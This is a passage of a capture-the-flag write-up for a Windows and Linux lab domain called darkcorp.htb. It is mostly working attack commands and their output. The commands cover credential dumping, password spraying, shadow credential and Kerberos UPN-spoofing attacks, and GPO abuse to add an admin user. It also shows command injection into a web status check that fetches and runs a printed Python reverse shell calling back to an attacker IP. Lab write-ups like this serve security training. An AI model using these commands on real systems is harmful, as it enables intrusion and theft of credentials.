[172.16.20.2] [+] Gathering recent files and desktop files
[172.16.20.2] [+] Dumping User Firefox Browser
[172.16.20.2] [+] Dumping MobaXterm credentials
[172.16.20.2] [+] Dumping MRemoteNg Passwords
[172.16.20.2] [+] Dumping Users RDCManager
[172.16.20.2] [+] Dumping SCCM Credentials
[172.16.20.2] [+] Dumping User and Machine Vaults
[172.16.20.2] [+] Dumping VNC Credentials
[172.16.20.2] [+] Dumping Wifi profiles
We found the SYSTEM’s cleartext password: [REDACTED]
Since we got this we can use the SYSTEM password to get additional credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
dpp collect -t 172.16.20.2 -u Administrator -p [REDACTED]
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739771513
[172.16.20.2] [+] Starting gathering credz
[172.16.20.2] [+] Dumping SAM
[172.16.20.2] [$] [SAM] Got 4 accounts
[172.16.20.2] [+] Dumping LSA
[172.16.20.2] [+] Dumping User and Machine masterkeys
[172.16.20.2] [$] [DPAPI] Got 5 masterkeys
[172.16.20.2] [+] Dumping User Chromium Browsers
[172.16.20.2] [+] Dumping User and Machine Certificates
[172.16.20.2] [+] Dumping User and Machine Credential Manager
[172.16.20.2] [$] [CredMan] [Administrator] LegacyGeneric:target=WEB-01 - Administrator:[REDACTED]
[172.16.20.2] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:[REDACTED]
[172.16.20.2] [+] Gathering recent files and desktop files
[172.16.20.2] [+] Dumping User Firefox Browser
[172.16.20.2] [+] Dumping MobaXterm credentials
[172.16.20.2] [+] Dumping MRemoteNg Passwords
[172.16.20.2] [+] Dumping Users RDCManager
[172.16.20.2] [+] Dumping SCCM Credentials
[172.16.20.2] [+] Dumping User and Machine Vaults
[172.16.20.2] [+] Dumping VNC Credentials
[172.16.20.2] [+] Dumping Wifi profiles
Password spray using the recovered Administrator credentials from credman
reveals this is John’s reused password:
1
2
3
4
5
6
nxc ldap 172.16.20.1 -u users.txt -p '[REDACTED]'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\Administrator:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\victor.r:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\svc_acc:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\john.w:[REDACTED]
On bloodhound we can find that john
has a generic write
over Angela
Let’s do a shadow credential attack which abuses the write access to the msDs-KeyCredentialLink
to provide a private key to grab a TGT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
certipy-ad shadow -account 'angela.w' -dc-ip 172.16.20.1 -u 'john.w@darkcorp.htb' -p '[REDACTED]' auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '83aefb60-b9c2-03ad-22b5-10ed32636ca5'
[*] Adding Key Credential with device ID '83aefb60-b9c2-03ad-22b5-10ed32636ca5' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '83aefb60-b9c2-03ad-22b5-10ed32636ca5' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Using principal: angela.w@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': [REDACTED]
Let’s check our authentication as angela
against the Domain Controller.
1
2
3
nxc ldap 172.16.20.1 -u angela.w -H [REDACTED]
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\angela.w:[REDACTED]
Let’s go back and take a look at drip.darkcorp.htb
, the linux machine, and check for cached domain credentials.
A broken marriage. Abusing mixed vendor Kerberos Attacks
First we can confirm the existence of krb5 on drip.darkcorp.htb
by checking if it has ksu
:
1
2
ebelford@drip:~$ which ksu
/usr/bin/ks
Looking at the users we can notice that angela.w
has an admin account:
1
2
3
4
nxc ldap 172.16.20.1 -u angela.w -H [REDACTED] --users
<SNIP>
LDAP 172.16.20.1 389 DC-01 angela.w.adm
</SNIP>
Let’s change her upn
using john
since he has genericWrite
1
2
bloodyAD --host 172.16.20.1 -d darkcorp.htb -u john.w -p '[REDACTED]' set object 'CN=Angela Williams,CN=Users,DC=darkcorp,DC=htb' userPrincipalName -v angela.w.adm
[+] CN=Angela Williams,CN=Users,DC=darkcorp,DC=htb's userPrincipalName has been updated
Let’s now request an NT_ENTERPRISE
TGT
for Angela
using the angela.w.adm
’s upn
1
2
3
4
impacket-getTGT -hashes :[REDACTED] -principalType NT_ENTERPRISE darkcorp.htb/angela.w.adm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in angela.w.adm.ccache
We now need this TGT
on drip.darkcorp.htb
so let’s transfer it over and check for authentication.
1
2
3
4
5
6
7
klist angela.w.adm.ccache
Ticket cache: FILE:angela.w.adm.ccache
Default principal: angela.w.adm@DARKCORP.HTB
Valid starting Expires Service principal
02/17/2025 14:32:14 02/18/2025 00:32:14 krbtgt/DARKCORP.HTB@DARKCORP.HTB
renew until 02/18/2025 14:32:15
Success! we have a valid TGT that spoof’s angela's
admin accounts let’s see if we can swap to angela
using ksu
:
1
2
3
4
5
KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)
angela.w.adm@drip:/home/ebelford$
This method only works when done in quick succession, e.g. set upn, grab tgt, transfer tgt, authenticate, I’m not sure why this is as this is way too quick to be caused by the
cleanup scripts
.
Angela’s admin account has complete sudo privileges over the drip.darkcorp.htb
machine.
1
(ALL : ALL) NOPASSWD: ALL
Swap over to root and let’s check for the cached credentials as per this article: Managing the SSSD Cache
1
sudo su
In the /var/lib/sss
directory, as mentioned in the article, we can find several interesting directories.
1
2
3
4
5
6
7
8
9
10
11
total 40
drwxr-xr-x 10 root root 4096 Jan 10 11:51 .
drwxr-xr-x 42 root root 4096 Feb 3 14:27 ..
drwx------ 2 root root 4096 Feb 17 14:47 db
drwxr-x--x 2 root root 4096 Jan 10 11:51 deskprofile
drwxr-xr-x 3 root root 4096 Jan 10 11:51 gpo_cache
drwx------ 2 root root 4096 Jan 10 11:51 keytabs
drwxrwxr-x 2 root root 4096 Feb 17 14:45 mc
drwxr-xr-x 3 root root 4096 Feb 17 11:02 pipes
drwxr-xr-x 3 root root 4096 Feb 17 14:47 pubconf
drwx------ 2 root root 4096 Jan 10 11:51 secrets
In the db
directory we can find the following file: cache_darkcorp.htb.ldb
which contains a cached password.
1
2
cachedPassword
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/[REDACTED]
Cracking this hash we get a successful crack!
1
2
3
4
5
6
7
8
9
10
john cache.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (?)
1g 0:00:00:48 DONE (2025-02-17 17:02) 0.02080g/s 2072p/s 2072c/s 2072C/s 020180..thunder22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
As usual, password spraying the recovered credentials. This reveals that this is taylor.b.adm
’s credentials.
1
2
3
4
5
6
7
8
9
10
nxc ldap 172.16.20.1 -u users.txt -p '[REDACTED]'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\Administrator:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\victor.r:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\svc_acc:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\john.w:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\angela.w:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\angela.w.adm:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [-] darkcorp.htb\taylor.b:[REDACTED]
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\taylor.b.adm:[REDACTED]
looking at bloodhound we find a path to own DC-01
:
 |
So let’s run pygpoabuse
to create a new user and put them in the administrators group:
1
2
3
4
5
6
python3 pygpoabuse.py 'darkcorp.htb/TAYLOR.B.ADM:[REDACTED]' -gpo-id '652cae9a-4bb7-49f2-9e52-3361f33ce786' -command 'net user master Password123! /add && net localgroup administrators master /add' -dc-ip 172.16.20.1 -v -f
INFO:root:Version updated
[*] Version updated
SUCCESS:root:ScheduledTask TASK_35a4d07c created!
[+] ScheduledTask TASK_35a4d07c created!
Force a group policy update
to add the gpo
and execute the command
1
gpupdate.exe
We can now dump everything using our administrator account!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dpp collect -t 172.16.20.1 -u master -p 'Password123!'
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739830894
[172.16.20.1] [+] Starting gathering credz
[172.16.20.1] [+] Dumping SAM
[17:21:43] ERROR SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information. secretsdump.py:1340
[172.16.20.1] [$] [SAM] Got 3 accounts
[172.16.20.1] [+] Dumping LSA
[172.16.20.1] [+] Dumping User and Machine masterkeys
[172.16.20.1] [$] [DPAPI] Got 4 masterkeys
[172.16.20.1] [+] Dumping User Chromium Browsers
[172.16.20.1] [+] Dumping User and Machine Certificates
[172.16.20.1] [$] [Certificates] [SYSTEM] - DC-01.darkcorp.htb - DC-01.darkcorp.htb_3F5D460D5A3A8C32.pfx - Client auth possible
[172.16.20.1] [$] [Certificates] [SYSTEM] - DC-01.darkcorp.htb - DC-01.darkcorp.htb_FEDE6913B7302F06.pfx - Client auth possible
[172.16.20.1] [+] Dumping User and Machine Credential Manager
[172.16.20.1] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7C17A109-A31B-4570-BFBC-08B109075817} - darkcorp\Administrator:[REDACTED]
[172.16.20.1] [+] Gathering recent files and desktop files
[172.16.20.1] [+] Dumping User Firefox Browser
[172.16.20.1] [+] Dumping MobaXterm credentials
[172.16.20.1] [+] Dumping MRemoteNg Passwords
[172.16.20.1] [+] Dumping Users RDCManager
[172.16.20.1] [+] Dumping SCCM Credentials
[172.16.20.1] [+] Dumping User and Machine Vaults
[172.16.20.1] [+] Dumping VNC Credentials
[172.16.20.1] [+] Dumping Wifi profiles
Just like that we have Root!
On Web-01
since the website status is being checked using powershell if python doesn’t work:
1
2
3
4
5
6
7
elif response.status_code == 401:
command = ["powershell", "iwr", "-uri", url, '-UseDefaultCredentials']
result = subprocess.run(command, capture_output=True, text=True)
if result.returncode == 0:
status_check_data['status'] = 'UP'
append_to_csv(status_check_data)
return jsonify({"status": "Success!", "message": f"{url} is up!"})
we can construct the following data payload:
1
{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/; iwr -uri http://10.10.14.48:8001 -Method POST -body (whoami)"}
So we start our ntlmrelayx
listener:
1
ntlmrelayx.py -t ldap://172.16.20.1 -smb2support --interactive
Start up another listener:
1
nc -lvnkp 8001
Send the data through our curl
requests:
1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/; iwr -uri http://10.10.14.48:8001 -Method POST -body (whoami)"}' --ntlm -u 'victor.r:[REDACTED]'
And we get a callback with the response!:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> 2025/02/11 21:13:38.000698605 length=231 from=0 to=230
POST / HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.2110\r
Content-Type: application/x-www-form-urlencoded\r
Host: 10.10.14.48:9001\r
Content-Length: 16\r
Connection: Keep-Alive\r
\r
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.2110
Content-Type: application/x-www-form-urlencoded
Host: 10.10.14.48:9001
Content-Length: 16
Connection: Keep-Alive
> 2025/02/11 21:13:38.000723385 length=16 from=231 to=246
darkcorp\\svc_accdarkcorp\svc_acc
Knowing that python has to be running on the machine for the webapp to work we can upload the following revshell
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.48",9001))
p=subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
By hosting it on our machine:
1
python3 -m http.server 42069
Getting the server to download it:
1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/;iwr http://10.10.14.48:8001 -Method POST -body (iwr http://10.10.14.48:42069/shell.py -O shell.py)"}' --ntlm -u 'victor.r:[REDACTED]'
Starting up a listener:
1
nc -lvnp 9001
And executing the python shell:
1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/;iwr http://10.10.14.48:8001 -Method POST -body (python shell.py)"}' --ntlm -u 'victor.r:[REDACTED]'
Just like that we have a revshell!:
1
2
3
4
5
6
7
8
9
10
11
12
nc -lvnkp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.54.
Ncat: Connection from 10.10.11.54:49278.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\inetpub\Flask>
tags: os/windows - diff/insaneTheoretically, instead of using NTLMrelay to inject the malicious dns record we could use the
Add-DNSServerResourceRecord
using our powershell access to add the poisoned record. I wasn’t able to attempt this as this unintended was patched when I had thought about using this method.